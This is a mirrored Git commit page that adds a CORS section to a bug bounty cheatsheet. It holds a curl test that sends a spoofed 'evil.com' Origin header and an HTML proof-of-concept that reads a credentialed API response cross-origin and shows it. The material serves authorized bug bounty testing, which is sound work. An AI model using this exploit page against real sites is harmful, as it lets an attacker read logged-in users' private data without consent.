Mirrors/bugbounty-cheatsheet
2
0
Fork 0
mirror of https://github.com/EdOverflow/bugbounty-cheatsheet.git synced 2024-11-24 20:13:06 +00:00
Code Issues Projects Releases Packages Wiki Activity

Create cors.md

Browse source 
We should create a CORS cheatsheet. Will add more in the future.
This commit is contained in:
sxcurity 2017-10-25 10:53:04 -05:00 committed by GitHub
parent 9ceb1b7053
commit a208ba5d18
1 changed files with 36 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

36
cheatsheets/cors.md Normal file
View file

@ -0,0 +1,36 @@
## Cross Origin Resource Sharing (CORS)
Testing:
`curl --head -s 'http://example.com/api/v1/secret' -H 'Origin: http://evil.com'`
Check to see what the server responds with in the `Access-Control-Allow-Origin:` (if anything) and if so, check if `Access-Control-Allow-Credentials: true` is present.
If it is trusting arbitrary origins **with** allow-credentials set to true, then host this HTML as a proof of concept.
```
<!DOCTYPE html>
<html>
<head><title>BugBounty CheatSheet</title></head>
<body>
<center>
<h2>CORs POC</h2>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://example.com/api/v1/topsecret", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
```